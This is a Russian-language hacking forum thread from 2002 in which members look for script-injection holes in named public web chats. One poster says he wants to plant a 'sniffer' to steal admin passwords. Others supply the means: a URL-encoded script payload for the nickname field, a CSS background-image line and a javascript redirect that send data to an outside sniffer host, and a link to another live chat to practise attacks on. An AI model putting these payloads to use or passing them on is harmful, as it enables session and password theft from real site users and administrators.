Дырки в чате

Есть ли какая нибудь возможность всавить тег (картинку) в чат chat.iwt.ru http://forum.antichat.ru/iB_html/non-cgi/emoticons/confused.gifВообще есть ли там какие нибудь дырыhttp://forum.antichat.ru/iB_html/non-cgi/emoticons/confused.gif

[tableton®]

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Guest @ декабря 09 2002,20:11)</td></tr><tr><td id="QUOTE">Есть ли какая нибудь возможность всавить тег (картинку) в чат chat.iwt.ru http://forum.antichat.ru/iB_html/non-cgi/emoticons/confused.gifВообще есть ли там какие нибудь дырыhttp://forum.antichat.ru/iB_html/non-cgi/emoticons/confused.gif[/QUOTE]<span id='postcolor'>
Ты не против если я тоже отвечу, хотя знаю что ты послал Алголу.Там, есть много где полазить, но я еще не все опробовал, из-за отсутствия времени. Надеюсь Алгол тебе поможет, если у него не будет той же проблемы

[Algol]

Есть незначительный баг - можно вставить скриптик в ник, который сработает при клике на нем.
Ник например такой : %22%2Balert%28%29%2B%222

[Arthur]

Hi Algol!!!
Баг с ником это конечно КРУТО....но мне всё же картинку надо....понимаешь....сниффак надо пихнуть ...что бы пароли админов стырить http://forum.antichat.ru/iB_html/non-cgi/emoticons/smile.gif Может есть способ аhttp://forum.antichat.ru/iB_html/non-cgi/emoticons/confused.gif
p.s. tableton® нашёл чё нитьhttp://forum.antichat.ru/iB_html/non-cgi/emoticons/confused.gif

[tableton®]

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Arthur @ декабря 11 2002,19:17)</td></tr><tr><td id="QUOTE">p.s. tableton® нашёл чё нитьhttp://forum.antichat.ru/iB_html/non-cgi/emoticons/confused.gif[/QUOTE]<span id='postcolor'>
Прости, так времени и не было, но вон Алгол же тебе сказал уже, бери меняй скрипт да вставляй свой снифак, и все.

[Arthur]

tableton® ГЫ ГЫ ГЫ ...Я ДЕЦЛ В ЯВЕ НЕ СЕКУ...НЕ МОГ БЫ ТВЫ ПОМОЧЬ СО СНИФФАКОМ...???НАПИШИ &nbsp;ЕСЛИ КОНЕЧНО НЕ ТРУДНО НИК СО ВСТРОЕНЫМ СНИФАКОМ(МОНА ХАКЗОНОВСКИЙ)...ПЛИZZZ....СПС.

[Arthur]

А кстати...Алгол , ты как то говорил, что чаты на зеркале (www.zerkalo.com) не ломаются.... уже сломали...в новом главном чате (всё там же на зеркале) был замечен флуд порно-картинками и тегами.... http://forum.antichat.ru/iB_html/non-cgi/emoticons/smile.gif

[tableton®]

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Arthur @ декабря 11 2002,22:56)</td></tr><tr><td id="QUOTE">tableton® ГЫ ГЫ ГЫ ...Я ДЕЦЛ В ЯВЕ НЕ СЕКУ...НЕ МОГ БЫ ТВЫ ПОМОЧЬ СО СНИФФАКОМ...???НАПИШИ ЕСЛИ КОНЕЧНО НЕ ТРУДНО НИК СО ВСТРОЕНЫМ СНИФАКОМ(МОНА ХАКЗОНОВСКИЙ)...ПЛИZZZ....СПС.[/QUOTE]<span id='postcolor'>
Ок, да там нечего особо писать, смотри если ты выполняешь через таблицу стилей то будет так
style=background-image:url(http://www.antichat.ru/go/normal.php?id).
Кстати адрес, уже снифака. Вот ЛОГ
http://www.antichat.ru/go/log/normal_log.shtml
А если ты делаешь это чисто через джаву то тоже так
javascript:parent.location='http://...' Вот и все http://forum.antichat.ru/iB_html/non-cgi/emoticons/smile.gif
Удачи, но лучше вот тебе Чат, там тренеруйся, там ваааще все что хочешь мона делать Гы
http://www.punkmusic.ru/cgi-bin/chat/chat.cgi
Но бди, там другие тоже тренеруються http://forum.antichat.ru/iB_html/non-cgi/emoticons/wink.gif

[Algol]

На зеркале много чатов, при чем на разных движках...
Знаю точно что не ломается эротический, насчет остальных - все может быть http://forum.antichat.ru/iB_html/non-cgi/emoticons/smile.gif
Нужно посмотреть ...
(хотя тегами и админы могли баловаться)

Посмотрел... Нифига не ломается... Самый большой глюк- можно писать от любого ника..Больше ничего ...

[Algol]

Насчет chat.iwt.ru - других дыр, кроме ника, нет.
Но и ник тебе мало что даст, поскольку там стоит ограничение на длинну ника, длинный скрипт вставить не удастся...

[Arthur]

ALGOL НА СЧЁТ ИВТ ПОНЯТНО.....А ЧТО МОНА СДЕЛАТЬ В РОМАНТИЧЕСКОМ НА ЗЕРКАЛЕhttp://forum.antichat.ru/iB_html/non-cgi/emoticons/confused.gifХоть какая то возможность взлома существуетhttp://forum.antichat.ru/iB_html/non-cgi/emoticons/confused.gifТам можно (раньше можно было)картинки друг другу посылать...может там что нибудьhttp://forum.antichat.ru/iB_html/non-cgi/emoticons/confused.gif

[Algol]

Картинки и сейчас можно, но только из фиксированного списка... причем посылается не урл а номер картинки...Через это взломать нельзя